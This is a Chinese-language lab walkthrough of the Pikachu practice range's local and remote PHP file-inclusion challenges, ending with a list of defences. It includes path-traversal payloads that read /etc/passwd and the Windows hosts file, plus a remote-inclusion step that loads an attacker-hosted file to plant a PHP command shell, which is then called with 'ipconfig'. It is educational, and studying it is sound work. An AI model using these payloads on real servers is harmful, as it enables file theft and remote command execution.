pikachu-File Inclusion(文件包含漏洞)
概述
File Inclusion(文件包含漏洞)概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了：
include(),include_once()
require(),require_once()
这些文件包含函数，这些函数在代码设计中被经常使用到。
大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。
但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。
攻击着会指定一个“意想不到”的文件让包含函数去执行，从而造成恶意操作。
根据不同的配置环境，文件包含漏洞分为如下两种情况：
1.本地文件包含漏洞：仅能够对服务器本地的文件进行包含，由于服务器上的文件并不是攻击者所能够控制的，因此该情况下，攻击着更多的会包含一些
固定的系统配置文件，从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞，从而形成更大的威力。
2.远程文件包含漏洞：能够通过url地址对远程的文件进行包含，这意味着攻击者可以传入任意的代码，这种情况没啥好说的，准备挂彩。
因此，在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数，如果非要这么做，也一定要做严格的白名单策略进行过滤。
攻击流程
包含函数
通过 include() 或者 require() 语句，可以将 PHP 文件的内容插入另一个 PHP 文件（在服务器执行它之前）。
include 和 require 是相同的，除了错误处理方面：
- require 会生成致命错误（ E_COMPILE_ERROR ）并停止脚本
- include 只生成警告（ E_WARNING ），并且脚本会继续
File Inclusion（local）
打开pikachu，随意选择一个提交，在URL请求里面我们可以看到前端上传了一个文件名到后台，后台根据文件名进行对应的操作，传回对应的信息到前端（前端选择的文件名都是后台保存的文件）
接下来可以用后台系统的固定配置文件测试，先猜测后台是在Linux系统还是Windows系统上，再输入配置文件在系统上的路径到URL中，得到文件的信息。
用多个../来跳转的根目录下
Win： ../../../../Windows/System32/drivers/etc/hosts
Linux： ../../../../../../../../etc/passwd
查看后端代码可以看到后端获取到前端提交的文件名后，会通过include函数进行包含执行，但因为没有做任何的安全限制，导致变量值filename可以被用户通过前端去做任何的修改。
File Inclusion（remote）
前提：如果使用的include和require，则需要php.ini配置为allow_url_include = on//默认打开 allow_url_fopen = on//默认关闭
所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)
远程文件包含漏洞形式和本地文件包含漏洞差不多，在远程文件包含漏洞中，攻击者可以通过访问外部地址来加载远程代码。
打开pikachu远程文件包含漏洞，根据提醒修改php.ini文件配置
与本地文件包含一样，是通过前端上传文件名到后台包含
我们可以通过搭建一个恶意的站点，输入到URL中，
内容如下：
像本地文件包含一样，把pikachu靶场的URL中的filename后面的参数修改为所搭建的恶意站点的地址
http://127.0.0.1：801/pikachu/test/hacker.txt
上传成功后，我们的php代码上传到了后台服务器所在文件夹的同级目录下
接下来我们就可以利用我们所上传的PHP文件进行相关的操作，我们只要在pikachu页面中修改为我们访问的文件名和上传的参数就可以了。
127.0.0.1/pikachu/vul/fileinclude/hacker.php?hahahaha=ipconfig
提交后成功获取后台ip地址
查看后台代码可以看到与本地文件包含相同，没有做任何的安全限制就进行包含了。我们把PHP的配置文件php.ini中的默认远程选项手动打开了，允许include去调用任何的文件，造成了漏洞的形成。
常见防范措施
- 在功能设计上尽量不要将文件包含函数对应的文件放给前端选择和操作。
- 过滤各种 ../../，http://，https://
- 配置 php.ini 配置文件
- allow_url_fopen = off
- allow_url_include = off
- magic_quotes_gpc = on
- 通过白名单策略，仅允许包含运行指定的文件，其他的都禁止
